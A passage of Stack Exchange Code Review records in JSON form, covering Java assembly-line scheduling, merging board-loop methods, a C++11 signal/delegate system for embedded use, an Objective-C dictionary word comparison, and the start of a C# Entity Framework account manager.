If you add the line number to <code>Station</code> and added some helper methods, you could clean up that code a bit.</p>\n\n<pre><code>private static int assemblyLineShortestTime(Iterator<Station> line1, Iterator<Station> line2) {\n Station station1 = line1.next();\n Station station2 = line2.next();\n int prev1 = station1.start();\n int prev2 = station2.start();\n while (line1.hasNext()) {\n station1 = line1.next();\n station2 = line2.next();\n int curr1 = station1.proceed(prev1, prev2);\n int curr2 = station2.proceed(prev2, prev1);\n prev1 = curr1;\n prev2 = curr2;\n }\n return Math.min(prev1 + station1.exit(), prev2 + station2.exit()); \n}\n\nclass Station {\n public int start() {\n return stationTime + transitionToTime;\n }\n\n public int proceed(thisLineTime, otherLineTime) {\n // The transitionToTime here is not the correct one,\n // but this demonstrates the technique\n return stationTime + Math.min(thisLineTime, otherLineTime + transitionToTime);\n }\n\n public int exit() {\n return transitionFromTime;\n }\n}\n</code></pre>\n\n<p>These small refactorings improve the readability only a little, but they don't alter it significantly. The real gains will require expanding the model and moving away from a single, static method.</p>\n\n<p><strong>Starting Over</strong></p>\n\n<p>If you're going to model the stations with classes to solve this, go all in and model the lines and entry/exit times properly to avoid confusion.</p>\n\n<pre><code>class Station\n int runTime - time to process this station\n int switchTime - time to switch lines\n\nclass Line\n List<Station> stations\n int entryTime - time to enter this line\n int exitTime - time to exit this line\n</code></pre>\n\n<p>Next model the location along the lines.</p>\n\n<pre><code>class Location\n Line line - which line are we on\n Station station - which station did we just go through\n int totalTime - elapsed time to reach this location\n</code></pre>\n\n<p>This design will allow moving the bulk of the algorithm into the model. You may not even need to model the lines themselves if you store the next stations in each station.</p>\n\n<pre><code>class Station\n int runTime - time to process this station\n Station next - next station on the same line\n Station otherNext - next station on the other line\n int switchTime - time to switch lines\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T22:25:42.783",
"Id": "82664",
"Score": "1",
"body": "@Vogel612 \"A station is denoted by S[*i,j*] where *i* is either 1 or 2 and indicates **the assembly line the station is on**, and *j* indicates the number of the station.\" [emphasis mine] And items can only go one direction in the flow, so there's no need for `prev`."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:36:44.660",
"Id": "47096",
"ParentId": "47088",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:16:06.223",
"Id": "47088",
"Score": "8",
"Tags": [
"java",
"algorithm",
"dynamic-programming"
],
"Title": "Assembly line scheduling"
} | 47088 |
<p>Is it recommended to combine two similar methods into one?</p>
<pre><code>public void initialize_board(){
for(int y = 0; y < board.length; y++){
for(int x = 0; x < board.length; x++){
if(x == 0)
board[x][y] = (char)y;
else
board[x][y] = '~';
}
}
}
public void display_board(){
for(int y = 0; y < board.length; y++){
for(int x = 0; x < board.length; x++){
System.out.print(board[x][y]);
}
System.out.print("\n");
}
}
</code></pre>
| [] | [
{
"body": "<p>By the Single Responsibility Principle, they should remain separate methods. Furthermore, <code>initialize_board()</code> should probably be a constructor for a <code>Board</code> class, and <code>display_board()</code> should be its <code>toString()</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:25:06.117",
"Id": "82486",
"Score": "0",
"body": "Indeed, the only reason I turned my constructor into a method was to ask this question. Also, toString() wouldn't work because it's an array of char"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:32:00.390",
"Id": "82488",
"Score": "0",
"body": "@user89428 What exactly prevents you from concatenating chars to a string?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:38:26.610",
"Id": "82495",
"Score": "0",
"body": "I don't know, it says : \"The method toString() in the type Object is not applicable for the argument (int)\". I haven't been able to use toString() in Java successfully yet."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:09:04.847",
"Id": "47093",
"ParentId": "47090",
"Score": "10"
}
},
{
"body": "<h3>Not so similar...</h3>\n\n<p>Just because the method bodies \"look similar\" doesn't make them similar. It's better to think in terms of purpose instead. The two methods are for completely different things. They are not similar, and good to be separated.</p>\n\n<p>In functional languages you could use a \"walk\" method to iterate over all cells of the board and use a callback function to act on each cell. You <em>could</em> emulate that behavior in Java, but the code will get more complex, and I'm not sure it will be worth it in this example.</p>\n\n<h3>Robustness</h3>\n\n<p>Do you intend to initialize the board more than once in the lifetime of the object? If not (probably), then move the initialization to the constructor.</p>\n\n<h3>Writing style</h3>\n\n<p>You should use camelCase for naming, for example <code>initializeBoard</code> instead of <code>initialize_board</code>.</p>\n\n<hr>\n\n<p>It's recommended to use braces with ifs, for example:</p>\n\n<pre><code>if (x == 0) {\n board[x][y] = (char)y;\n} else {\n board[x][y] = '~';\n}\n</code></pre>\n\n<hr>\n\n<p>It's better to print a newline using <code>println</code>:</p>\n\n<pre><code>System.out.println();\n// instead of: System.out.print(\"\\n\");\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:56:26.043",
"Id": "47101",
"ParentId": "47090",
"Score": "11"
}
},
{
"body": "<p>The two methods look similar because at some level they do the same thing : they traverse the board. What is repeated is the code to traverse the data structure. The gang of four identified isolating the traversal behaviour as <strong>the iterator pattern</strong>. </p>\n\n<blockquote>\n <p>In object-oriented programming, the iterator pattern is a design\n pattern in which an iterator is used to traverse a container and\n access the container's elements.</p>\n</blockquote>\n\n<p>(from <a href=\"http://en.wikipedia.org/wiki/Iterator_pattern\">wikipedia</a>)</p>\n\n<p>So you could apply the iterator pattern. If it's really just those two methods, it's probably overkill, but keep it in mind when you find yourself traversing the datastructure in other places as well.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:17:49.277",
"Id": "47102",
"ParentId": "47090",
"Score": "7"
}
},
{
"body": "<ol>\n<li><p>I guess this does not do what you really want:</p>\n\n<blockquote>\n<pre><code>board[x][y] = (char)y;\n</code></pre>\n</blockquote>\n\n<p>It sets the first few ASCII control characters and <code>display_board()</code> shows weird results. I'd try this:</p>\n\n<pre><code>board[x][y] = Character.forDigit(y, 10); \n</code></pre></li>\n<li><p>Instead of </p>\n\n<blockquote>\n<pre><code>System.out.print(\"\\n\");\n</code></pre>\n</blockquote>\n\n<p>you should use <code>println()</code> (as <em>@janos</em> already mentioned) but if you want to put a line feed manually you should use</p>\n\n<pre><code>System.out.print(\"%n\");\n</code></pre>\n\n<p>instead. <code>%n</code> outputs the correct platform-specific line separator.</p></li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:09:29.907",
"Id": "82515",
"Score": "0",
"body": "Nice, your first solution fixed the problem I had."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:30:22.340",
"Id": "47105",
"ParentId": "47090",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "47093",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:45:17.597",
"Id": "47090",
"Score": "11",
"Tags": [
"java"
],
"Title": "Similar methods using loops"
} | 47090 |
<p>I'm writing a set of simple widgets for a microcontroller application. I'd like to use the observer pattern to pass around events: when a button is clicked, when a timeout occurs - there are many uses which I'm currently implementing with very ugly glue code, with similar code occuring again and again.</p>
<p>The whole system is more or less static, i.e. widgets are created on startup, not dynamically. I'd like to get away with as little heap usage as possible, just to be able to tell (at compile time) if I'm running out of RAM (16 kB). This is the reason why I've not implemented any delegate destructor code. It would never be used while the system is running.</p>
<p>When an event occurs, a <code>Signal</code> is fired, calling all connected observers. These are delegates that call the actual free function or method on some object. Here's my current code:</p>
<pre><code>#include <iostream>
#include <functional>
#include <list>
// Interface for delegates with the same set of arguments
template<typename... args>
class AbstractDelegate
{
public:
virtual void operator()(args...) = 0;
};
</code></pre>
<p>There are two concrete Delegate classes. One for non-static member functions and one for free functions:</p>
<pre><code>// Concrete member function delegate that discards the function's return value
template<typename T, typename ReturnType, typename... args>
class ObjDelegate : public AbstractDelegate<args...>
{
public:
typedef ReturnType (T::*ObjMemFn)(args...);
ObjDelegate(T& obj, ObjMemFn memFn)
: obj_(obj),
memFn_(memFn)
{
}
void operator()(args... a)
{
(obj_.*memFn_)(a...);
}
private:
T& obj_;
ObjMemFn memFn_;
};
// Concrete function delegate that discards the function's return value
template<typename ReturnType, typename... args>
class FnDelegate : public AbstractDelegate<args...>
{
public:
FnDelegate(ReturnType (*fn)(args...))
: fn_(fn)
{
}
void operator()(args... a)
{
(*fn_)(a...);
}
private:
ReturnType (*fn_)(args...);
};
</code></pre>
<p>Helper functions for Delegate construction:</p>
<pre><code>// create a delegate, returned object can be auto'ed
template<typename T, typename ReturnType, typename... args>
ObjDelegate<T, ReturnType, args...> make_delegate(T& obj, ReturnType (T::*memFn)(args...))
{
return ObjDelegate<T, ReturnType, args...>(obj, memFn);
}
// create a delegate, returned object can be auto'ed
template<typename ReturnType, typename... args>
FnDelegate<ReturnType, args...> make_delegate(ReturnType(*Fn)(args... a))
{
return FnDelegate<ReturnType, args...>(Fn);
}
</code></pre>
<p>These two classes provide similar interfaces that I'd like to call when an event occurs:</p>
<pre><code>class A
{
public:
void foo(int i)
{
std::cout << "A::foo(" << i << ")" << std::endl;
}
static int baz(int i) {std::cout << "A::baz(" << i << ")" << std::endl; return i;}
};
class B
{
public:
int bar(int i)
{
std::cout << "B::bar(" << i << "): " << i+1 << std::endl;
return i;
}
};
</code></pre>
<p>A free function should also work:</p>
<pre><code>int foo(int i)
{
std::cout << "foo(" << i << ")" << std::endl;
return i;
}
</code></pre>
<p>The signal class is used to call a number of delegates. I've only included it here to complete the example, the implementation for the microcontroller application will be different:</p>
<pre><code>template<typename... args> // just the event arguments, nothing more
class Signal
{
public:
typedef AbstractDelegate<args...>* delegate_p;
void operator()(args... a) const
{
typename std::list<delegate_p>::const_iterator i = listeners_.begin();
while(i != listeners_.end())
{
(**i)(a...);
++i;
}
}
void connect(const delegate_p& p)
{
listeners_.push_back(p);
}
private:
std::list<delegate_p> listeners_;
};
</code></pre>
<p><code>main</code> creates a signal and adds observers to it: </p>
<pre><code>int main()
{
// void(int) member:
A a;
auto d0 = make_delegate(a, &A::foo);
// int(int) member:
B b;
auto d1 = make_delegate(b, &B::bar);
// int(int) free function:
auto d2 = make_delegate(foo);
// int(int) static member function:
auto d3 = make_delegate(&A::baz)
Signal<int> sig;
sig.connect(&d0);
sig.connect(&d1);
sig.connect(&d2);
sig.connect(&d3);
sig(3);
return 0;
}
</code></pre>
| [] | [
{
"body": "<p>Some tidbits about using C++11 features efficiently:</p>\n\n<ul>\n<li><p>I find that the old <code>typedef</code> is rather hard to read for function pointers. You could refactor this line:</p>\n\n<pre><code>typedef ReturnType (T::*ObjMemFn)(args...);\n</code></pre>\n\n<p>into this one using a C++11 <a href=\"http://en.cppreference.com/w/cpp/language/type_alias\" rel=\"nofollow\">type alias</a>:</p>\n\n<pre><code>using ObjMemFn = ReturnType (T::*)(args...);\n</code></pre></li>\n<li><p>You can use curly braces instead of regular parenthesis to initilize the member variables in your constructor initialization lists. That will prevent implicit narrowing type conversions:</p>\n\n<pre><code>ObjDelegate(T& obj, ObjMemFn memFn)\n : obj_{obj},\n memFn_{memFn}\n{}\n</code></pre>\n\n<p>Be careful though, it does not work with some types, like reference types for example.</p></li>\n<li><p>you can also use the new <a href=\"http://en.cppreference.com/w/cpp/language/override\" rel=\"nofollow\"><code>override</code> specifier</a> to explicitly tell the compiler that you do want to override a base class function. For example, <code>ObjDelegate::operator()</code> could be declared as:</p>\n\n<pre><code>void operator()(args... a) override\n{\n // ...\n}\n</code></pre>\n\n<p>While it is not necessary, it may help you to catch some subtle errors when the signature of the function you want to override in the base class is slightly different from the one you wrote in the derived class.</p></li>\n<li><p>You can use <a href=\"http://en.cppreference.com/w/cpp/language/list_initialization\" rel=\"nofollow\">list initialization</a> to reduce the boilerplate in <code>make_delegate</code>: using a pair of curly braces in a <code>return</code> statement constructs and returns a value of the same type as the declared return type:</p>\n\n<pre><code>template<typename ReturnType, typename... args>\nFnDelegate<ReturnType, args...> make_delegate(ReturnType(*Fn)(args... a))\n{\n return { Fn };\n}\n</code></pre></li>\n<li><p>Don't hesitate to use <code>auto</code> to deduce types instead of writing overly long types. Some same that the idiom should be <a href=\"http://herbsutter.com/2013/08/12/gotw-94-solution-aaa-style-almost-always-auto/\" rel=\"nofollow\">\"Almost Always <code>auto</code>\"</a>. For example, instead of:</p>\n\n<pre><code>typename std::list<delegate_p>::const_iterator i = listeners_.begin();\n</code></pre>\n\n<p>write:</p>\n\n<pre><code>auto i = listeners_.cbegin();\n</code></pre>\n\n<p>Note that I used <code>cbegin</code> instead of <code>begin</code> to make sure that the deduced type would be <code>const</code>. If two overload of a function are available (<code>const</code> and non-<code>const</code>), the one without the <code>const</code> specifier will be choosed by the compiler.</p></li>\n<li><p>And the usual one, that I almost forgot (because it's not C++11 specific): you do not need to write <code>return 0;</code> at the end of your <code>main</code>. If your <code>main</code> ends without having encountered a <code>return</code> statement, the compiler will automagically add <code>return 0;</code> at the end of <code>main</code> for you :)</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:46:48.503",
"Id": "82513",
"Score": "0",
"body": "That bit near the end about using 'cbegin' is confusing; the code shows `begin`, the first part of the text mentions `cbegin`, then the rest of the paragraph implies you really wanted `begin`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T21:14:32.083",
"Id": "83036",
"Score": "0",
"body": "I have accepted this answer because it helped to improve my code. Not all suggestions worked, though - I think this is the compiler's fault. I'll add my updated code including any errors related to the suggested improvements as an answer."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-27T12:27:28.583",
"Id": "84788",
"Score": "3",
"body": "@Christoph beware, the suggested code does not use perfect forwarding or universal references. Instead it creates an `operator()` that requires r-value reference variants of each type that was specified for the `Signal` class's template. For universal references, the compiler must be resolving the types at its call, so `operator()` itself must be a templated method. Alternately, if the initial types are correct, remove the `&&` from `operator()`'s declaration."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-27T12:34:59.517",
"Id": "84791",
"Score": "0",
"body": "@MichaelUrman Unfortunately, I don't really understand what's going on there. Do you suggest to just turn the operator() into a template method with the same arguments the class has?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-27T12:40:55.337",
"Id": "84796",
"Score": "0",
"body": "@MichaelUrman Totally right, I did not catch that writing the review. I'm sorry."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-27T12:54:13.447",
"Id": "84797",
"Score": "2",
"body": "@Christoph It's best explained by Scott Meyers (see links in http://stackoverflow.com/a/14381110/89999). The short version is that by reusing `args` from `template <...args> class Signal` in the declaration `operator()(args&&... a)`, the pack gets expanded with `&&` added: `Signal<int>` gives `operator()(int&& a)`. This syntax thus requires an r-value reference, such as a temporary variable, or one like `std::move(my_int)`. Making it `template <typename... Ts> void operator()(Ts&&... ts)` allows resolving either `int&` or `int&&`; paired with `std::forward` it does the right thing."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-27T13:07:02.497",
"Id": "84801",
"Score": "2",
"body": "@Morwenn Totally understood. I missed the flaw until I saw Christoph's follow-up question. I would thus consider reserving your guidance to perfect forwarding to cases of performance-critical code and where already deducing a variadic template. In Christoph's case, in order to use perfect forwarding, you either feel like you're giving up type safety by re-templating (but aren't once it resolves the `ObjDelegate` or `FnDelegate` call), or you introduce errors like this by not re-templating."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-27T13:36:26.767",
"Id": "84804",
"Score": "0",
"body": "To be honest, I'm totally confused. I'll see if we can meet in chat again and discuss things based on the [new question at stackoverflow](http://stackoverflow.com/questions/23323547/perfect-forwarding-results-in-an-error-i-dont-understand)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-27T13:53:54.313",
"Id": "84810",
"Score": "0",
"body": "@MichaelUrman Could be resolved by retemplating and using something along the lines of `static_assert(all_same<decay_t<Args>, decay_t<Args2>>..., \"\")`, but that's not beautiful either."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T22:31:59.817",
"Id": "47106",
"ParentId": "47098",
"Score": "6"
}
},
{
"body": "<p>Below is my signals and connections header file. I'm only beginning to use it in my actual application, but it seems to provide what I want.</p>\n\n<p>The one thing that didn't really work as suggested by Morween was using a brace-enclosed initializer list for reference members (see <code>ObjDelegate(T& obj, ObjMemFn memFn)</code>). I think the same issue is discussed in <a href=\"https://stackoverflow.com/q/10509603/692359\">this question</a>.</p>\n\n<p><code>gcc -v</code>:</p>\n\n<pre><code>compiler: gcc version 4.8.3 20140228 (release) [ARM/embedded-4_8-branch revision 208322]).\n</code></pre>\n\n<p>The <code>make_delegate(...)</code> functions had to go in favour of a <code>Connection</code> class and free <code>connect</code> functions:</p>\n\n<pre><code>#ifndef _SIGNALS_H_\n#define _SIGNALS_H_\n\n#include <utility>\n\n/** Interface for delegates with a specific set of arguments **/\ntemplate<typename... args>\nclass AbstractDelegate\n{\n public:\n virtual void operator()(args&&...) const = 0;\n virtual ~AbstractDelegate() {}\n};\n\n/** Concrete member function delegate that discards the function's return value **/\ntemplate<typename T, typename ReturnType, typename... args>\nclass ObjDelegate : public AbstractDelegate<args...>\n{\n public:\n /** member function typedef **/\n using ObjMemFn = ReturnType (T::*)(args...);\n\n /** constructor **/\n ObjDelegate(T& obj, ObjMemFn memFn)\n// : obj_{obj}, //error: invalid initialization of non-const reference of type 'Watch&' from an rvalue of type '<brace-enclosed initializer list>'\n : obj_(obj),\n memFn_{memFn} // here the brace-enclosed list works, probably because memFn is _not_ a reference\n {\n }\n\n /** call operator that calls the stored function on the stored object **/\n void operator()(args&&... a) const override\n {\n (obj_.*memFn_)(std::forward<args>(a)...);\n }\n\n private:\n /** reference to the object **/\n T& obj_;\n /** member function pointer **/\n const ObjMemFn memFn_;\n};\n\n/** Concrete function delegate that discards the function's return value **/\ntemplate<typename ReturnType, typename... args>\nclass FnDelegate : public AbstractDelegate<args...>\n{\n public:\n /** member function typedef **/\n using Fn = ReturnType(*)(args...);\n\n /** constructor **/\n FnDelegate(Fn fn)\n : fn_{fn}\n {\n }\n\n /** call operator that calls the stored function **/\n void operator()(args&&... a) const override\n {\n (*fn_)(std::forward<args>(a)...);\n }\n\n private:\n /** function pointer **/\n const Fn fn_;\n};\n\n/** forward declaration **/\ntemplate<typename... args>\nclass Connection;\n\n/** Signal class that can be connected to**/\ntemplate<typename... args>\nclass Signal\n{\n public:\n /** connection pointer typedef **/\n typedef Connection<args...>* connection_p;\n\n /** constructor **/\n Signal()\n : connections_(NULL)\n {\n }\n\n /** call operator that calls all connected delegates.\n The most recently connected delegate will be called first **/\n void operator()(args&&... a) const\n {\n auto c = connections_;\n while(c != NULL)\n {\n (c->delegate())(std::forward<args>(a)...);\n c = c->next();\n }\n }\n\n /** connect to this signal **/\n void connect(connection_p p)\n {\n p->next_ = connections_;\n connections_ = p;\n p->signal_ = this;\n }\n\n /** disconnect from this signal.\n Invalidates the connection's signal pointer\n and removes the connection from the list **/\n void disconnect(connection_p conn)\n {\n // find connection and remove it from the list\n connection_p c = connections_;\n if (c == conn)\n {\n connections_ = connections_->next();\n conn->next_ = NULL;\n conn->signal_ = NULL;\n return;\n }\n while(c != NULL)\n {\n if (c->next() == conn)\n {\n c->next_ = conn->next();\n conn->next_ = NULL;\n conn->signal_ = NULL;\n return;\n }\n c = c->next();\n }\n }\n\n /** destructor. disconnects all connections **/\n ~Signal()\n {\n connection_p p = connections_;\n while(p != NULL)\n {\n connection_p n = p->next();\n disconnect(p);\n p = n;\n }\n }\n\n private:\n connection_p connections_;\n};\n\n/** connection class that can be connected to a signal **/\ntemplate<typename... args>\nclass Connection\n{\n public:\n /** template constructor for non-static member functions.\n allocates a new delegate on the heap **/\n template<typename T, typename ReturnType>\n Connection(Signal<args...>* signal, T& obj, ReturnType (T::*memFn)(args...))\n : delegate_(new ObjDelegate<T, ReturnType, args...>(obj, memFn)),\n signal_(NULL),\n next_(NULL)\n {\n signal->connect(this);\n }\n\n /** template constructor for static member functions and free functions.\n allocates a new delegate on the heap **/\n template<typename ReturnType>\n Connection(Signal<args...>* signal, ReturnType (*Fn)(args...))\n : delegate_(new FnDelegate<ReturnType, args...>(Fn)),\n signal_(NULL),\n next_(NULL)\n {\n signal->connect(this);\n }\n\n /** get reference to this connection's delegate **/\n AbstractDelegate<args...>& delegate() const\n {\n return *delegate_;\n }\n\n /** get pointer to next connection in the signal's list **/\n Connection* next() const\n {\n return next_;\n }\n\n /** is this connection connected to a valid signal? **/\n bool connected() const\n {\n return (signal_ != NULL);\n }\n\n /** desctructor. If the signal is still alive, disconnects from it **/\n ~Connection()\n {\n if (signal_ != NULL)\n {\n signal_->disconnect(this);\n }\n delete delegate_;\n }\n\n friend class Signal<args...>;\n private:\n AbstractDelegate<args...>* delegate_;\n Signal<args...>* signal_;\n Connection* next_;\n};\n\n/** free connect function: creates a connection (non-static member function) on the heap\n that can be used anonymously **/\ntemplate<typename T, typename ReturnType, typename... args>\nConnection<args...>* connect(Signal<args...>* signal, T& obj, ReturnType (T::*memFn)(args...))\n{\n return new Connection<args...>(signal, obj, memFn);\n}\n\n/** free connect function: creates a connection (static member or free function) on the heap\n that can be used anonymously **/\ntemplate<typename ReturnType, typename... args>\nConnection<args...>* connect(Signal<args...>* signal, ReturnType (*fn)(args...))\n{\n return new Connection<args...>(signal, fn);\n}\n\n#endif // _SIGNALS_H_\n</code></pre>\n\n<p>I am still not totally satisfied with this, because the function pointers stored in the delegates don't necessarily need to end up on the heap. I want to use as little heap space as possible.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T22:02:02.130",
"Id": "83054",
"Score": "0",
"body": "I thought I had tested all the constructors to make sure that the braces initialization worked. I might have overlooked something :/"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T22:03:41.980",
"Id": "83055",
"Score": "0",
"body": "Anyway, instead of posting the modified code as an answer, you should post another question, stating that it is a follow-up question, see [this topic](http://meta.codereview.stackexchange.com/questions/1763/how-to-handle-code-review-iterations) for more information :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T22:05:40.877",
"Id": "83059",
"Score": "0",
"body": "Alternatively, you could have posted as a regular answer what can be improved and then opened a new question with the whole new code since you are not totally satisfied."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T22:12:21.637",
"Id": "83061",
"Score": "0",
"body": "Two days ago I have commented the accepted answer in the topic you linked to and my impression is that posting the end result of one iteration is ok. I'm not planning to add more answers and code _here_, but open a new question instead when I decide that I really need to improve the code above."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T08:16:01.493",
"Id": "83116",
"Score": "0",
"body": "Oh sorry, I did not see that. You're totally right :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-27T13:48:41.447",
"Id": "84807",
"Score": "1",
"body": "`_SIGNALS_H_` is a [reserved name](http://stackoverflow.com/q/228783/981959), using it for your own header guards is not allowed. `SIGNALS_H` is a perfectly good name to use instead of copying what you're seen in other headers."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2018-10-18T10:47:49.463",
"Id": "396960",
"Score": "0",
"body": "You fixed the first `typedef` but then you still use it again."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T21:59:48.030",
"Id": "47398",
"ParentId": "47098",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "47106",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:42:30.050",
"Id": "47098",
"Score": "6",
"Tags": [
"c++",
"c++11",
"delegates"
],
"Title": "Delegate and Observer pattern implementation for an embedded system"
} | 47098 |
<p>I have started learning programming in ObjC from
<em>"Objective-C Programming: The Big Nerd Ranch Guide"</em></p>
<p>In a task to exercise the learned stuff I've had to write a program what compares the the names in the file /usr/share/dict/words if there are same proper names (capitalized) and normal words (uncapitalized).</p>
<p>This is my program:</p>
<pre><code>#import <Foundation/Foundation.h>
int main(int argc, const char * argv[])
{
@autoreleasepool {
// Zähler für die Anzahl der Suchergebnisse
int counter = 0;
// Hier die Suchbegriffe eingeben
NSString *search1 = @"Da";
NSString *search2 = @"d";
// Prüfung ob search1 und search2 identisch sind, wenn nicht eine Warnmeldung ausgeben.
if ([search1 caseInsensitiveCompare:search2] != NSOrderedSame) {
NSLog(@"Wenn du unterschiedliche Wörter suchst, wird die Suche lange dauern und zu keinem Ergebnis führen.");
NSLog(@"Suche ist gestartet...");
sleep(2);
} else {NSLog(@"Suche wird gestartet...");
sleep(2);
// Liest Datei als großen String ein (mögliche Fehler werden ausgeblendet
NSString *namestring = [NSString stringWithContentsOfFile:@"/usr/share/dict/words"
encoding:NSUncachedRead
error:NULL];
// Zerlegt Datei in ein Array mit Strings
NSArray *names = [namestring componentsSeparatedByString:@"\n"];
// Suchalgorithmus
// Geht das Array in der 1. Dimension einen String nach dem anderen durch
for (NSString *n in names) {
// Sucht nach dem String search1
NSRange r = [n rangeOfString:search1 options:NSAnchoredSearch];
// Wurde für search1 etwas gefunden?
if (r.location != NSNotFound) {
// Geht das Array in der 2. Dimension einen String nach dem anderen durch
for (NSString *m in names) {
// Sucht nach dem String search2
NSRange q = [m rangeOfString:search2 options:NSAnchoredSearch];
// Wurde für search2 etwas gefunden?
if (q.location != NSNotFound) {
if ([n caseInsensitiveCompare:m] == NSOrderedSame) {
NSLog(@"%@ is equal to %@", n, m);
counter++;
}
}
}
}
}
NSLog(@"Es wurden %i Suchergebnisse gefunden", counter);
}
NSLog(@"Es wurden %i Suchergebnisse gefunden", counter);
}
return 0;
}
</code></pre>
<p>As you can see, I'm German.</p>
<p>Is there a way to do the same but more elegantly?</p>
<p>It's not necessary to tell me the complete code. It's better to give me some tips on which way would be better.</p>
| [] | [
{
"body": "<p>The first most glaring problem I see is <code>sleep(2)</code>. We really don't want to be doing this, particularly with Objective-C programs. The main reason I add emphasis on Objective-C is because virtually every program written in Objective-C is either an OSX or iOS app with a GUI. And in these cases, the main thread is the thread that handles the GUI. You'll also be writing the bulk of your code on the main thread--certainly until you start figuring out multithreading. Everything defaults on the main thread.</p>\n\n<p>And a call to <code>sleep(someNum)</code> on the main thread means that the user only has one way of interacting with our program for <code>someNum</code> amount of time--by closing it out.</p>\n\n<p>There are other ways to delay actions in our code without putting the entire thread to sleep. In the case of this simple code, there's no interaction anyways, but in the future, you will run into this problem.</p>\n\n<p>For the most simple example of how to point you in the right direction, Objective-C offers <code>performSelector:withObject:afterDelay:</code> (though this requires the use of objects & methods). </p>\n\n<p>But there's also a non-OOP way of executing code after delays in Objective-C (it's a lot messier than <code>performSelector:withObject:afterDelay:</code>, and I had to look up the exact syntax...). It makes use of code blocks.</p>\n\n<p>A code block is similar to a C-style function, but we have a variable that is a pointer to it (yes, I know C and other languages have \"function pointers\"--we call them blocks in Objective-C). Anyway, the syntax for executing code in a block after a delay looks like this:</p>\n\n<pre><code>int delay = dispatch_time(DISPATCH_TIME_NOW, 2 * NSEC_PER_SEC);\n\ndispatch_after(delay, dispatch_get_main_queue(), ^{\n // any code you want executed after delay\n // in this case, delay is 2 seconds\n});\n</code></pre>\n\n<p>Where <code>2</code> is the number of seconds you want to delay, and everything else is built-in C or Objective-C constants/functions.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-27T19:09:56.620",
"Id": "84861",
"Score": "0",
"body": "Thank you very much for your answer. Now, some days later I learned the very basics for iOS and Mac OS programing. Now I know what you mean. *thumbs up* for your great helpful answer."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T11:39:53.820",
"Id": "47225",
"ParentId": "47100",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-09T14:20:17.283",
"Id": "47100",
"Score": "4",
"Tags": [
"objective-c"
],
"Title": "Compare words in one file"
} | 47100 |
<p>I have the class below to manage my specific implementation of a membership system using entity framework 6.1</p>
<p>Is the use of static access correct in this case? as far as I understood that EF context is not thread-safe so I'm instantiating one with every call through the <code>using</code> statement. My second question, is the use of Boolean variable okay to signal failure in db transactions? an important point about this class is that it's going to be used quite frequently as the authentication wont rely on any session established with the user, it's also important to note that the users of this system will be quite limited.</p>
<p><strong>Edit</strong>: I'm aware I can use the new identity system or any of the membership providers offered by ASP.NET but this custom provider is quite specific to a Windows authentication system and the use of any cookie-based system is not possible.</p>
<pre><code>public static class AccountManager
{
private enum Role { User, Comment, CommentControl, Sysadmin }
public static bool IsUserInRole(string username, string role)
{
using (var ctx = new AccountsDbCtx())
{
var status = false;
var foundAcc = ctx.Accounts.Where(x => x.Username == username);
if (foundAcc.Any())
{
var s = foundAcc.SingleOrDefault();
if (s != null)
{
var exitingRole = s.Roles.Where(x => x.Name.Equals(role, StringComparison.InvariantCultureIgnoreCase));
if (exitingRole.Any())
{
status = true;
}
}
}
